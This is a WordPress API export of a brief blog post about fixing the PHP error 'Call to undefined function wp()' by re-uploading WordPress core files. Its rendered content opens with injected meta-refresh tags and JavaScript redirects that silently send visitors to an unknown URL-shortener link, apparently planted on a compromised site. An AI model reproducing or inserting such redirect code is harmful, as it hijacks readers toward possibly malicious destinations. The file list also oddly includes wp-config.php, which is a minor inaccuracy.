{"id":2487,"date":"2022-01-01T20:34:28","date_gmt":"2022-01-01T20:34:28","guid":{"rendered":"https:\/\/aarviserversolutions.co.in\/wps\/?p=2487"},"modified":"2022-12-14T07:11:30","modified_gmt":"2022-12-14T07:11:30","slug":"php-fatal-error-uncaught-error-call-to-undefined-function-wp","status":"publish","type":"post","link":"https:\/\/aarviserversolutions.co.in\/wps\/php-fatal-error-uncaught-error-call-to-undefined-function-wp\/","title":{"rendered":"PHP Fatal error: Uncaught Error: Call to undefined function wp()"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.today\/huiPfeX0r0\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.today\/huiPfeX0r0\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.today\/huiPfeX0r0\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.today\/huiPfeX0r0\";<\/script><br \/>\nThis issue is due to some core files in wordpress being corrupt.<\/p>\n<p>The solution to this issue is to download new version of wordpress and upload new files and folders mentioned below<\/p>\n<p>wp-includes , wp-admin and below files<\/p>\n<p>wp-activate.php<br \/>\nwp-blog-header.php<br \/>\nwp-comments-post.php<br \/>\nwp-config.php<br \/>\nwp-config-sample.php<br \/>\nwp-cron.php<br \/>\nwp-links-opml.php<br \/>\nwp-load.php<br \/>\nwp-login.php<br \/>\nwp-mail.php<br \/>\nwp-settings.php<br \/>\nwp-signup.php<br \/>\nwp-trackback.php<br \/>\nxmlrpc.php<\/p>\n<p>This resolved the issue and wordpres site was working fine<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This issue is due to some core files in wordpress being corrupt. The solution to this issue is to download new version of wordpress and upload new files and folders mentioned below wp-includes , wp-admin and below files wp-activate.php wp-blog-header.php wp-comments-post.php wp-config.php wp-config-sample.php wp-cron.php wp-links-opml.php wp-load.php wp-login.php wp-mail.php wp-settings.php wp-signup.php wp-trackback.php xmlrpc.php This resolved the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":7531,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[35],"tags":[],"class_list":["post-2487","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-linux"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>PHP Fatal error: Uncaught Error: Call to undefined function wp() - Aarvi Server Solutions<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/aarviserversolutions.co.in\/wps\/php-fatal-error-uncaught-error-call-to-undefined-function-wp\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"PHP Fatal error: Uncaught Error: Call to undefined function wp() - Aarvi Server Solutions\" \/>\n<meta property=\"og:description\" content=\"This issue is due to some core files in wordpress being corrupt. The solution to this issue is to download new version of wordpress and upload new files and folders mentioned below wp-includes , wp-admin and below files wp-activate.php wp-blog-header.php wp-comments-post.php wp-config.php wp-config-sample.php wp-cron.php wp-links-opml.php wp-load.php wp-login.php wp-mail.php wp-settings.php wp-signup.php wp-trackback.php xmlrpc.php This resolved the [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/aarviserversolutions.co.in\/wps\/php-fatal-error-uncaught-error-call-to-undefined-function-wp\/\" \/>\n<meta property=\"og:site_name\" content=\"Aarvi Server Solutions\" \/>\n<meta property=\"article:published_time\" content=\"2022-01-01T20:34:28+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-12-14T07:11:30+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/aarviserversolutions.co.in\/wps\/wp-content\/uploads\/2022\/11\/new-php-logo.png\" \/>\n\t<meta property=\"og:image:width\" content=\"200\" \/>\n\t<meta property=\"og:image:height\" content=\"106\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Prasad Naik\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Prasad Naik\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/php-fatal-error-uncaught-error-call-to-undefined-function-wp\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/php-fatal-error-uncaught-error-call-to-undefined-function-wp\\\/\"},\"author\":{\"name\":\"Prasad Naik\",\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/#\\\/schema\\\/person\\\/c80edf3cd17550fb03e57e42f107261e\"},\"headline\":\"PHP Fatal error: Uncaught Error: Call to undefined function wp()\",\"datePublished\":\"2022-01-01T20:34:28+00:00\",\"dateModified\":\"2022-12-14T07:11:30+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/php-fatal-error-uncaught-error-call-to-undefined-function-wp\\\/\"},\"wordCount\":85,\"publisher\":{\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/php-fatal-error-uncaught-error-call-to-undefined-function-wp\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/php-fatal-error-uncaught-error-call-to-undefined-function-wp_2487.jpg\",\"articleSection\":[\"Linux\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/php-fatal-error-uncaught-error-call-to-undefined-function-wp\\\/\",\"url\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/php-fatal-error-uncaught-error-call-to-undefined-function-wp\\\/\",\"name\":\"PHP Fatal error: Uncaught Error: Call to undefined function wp() - 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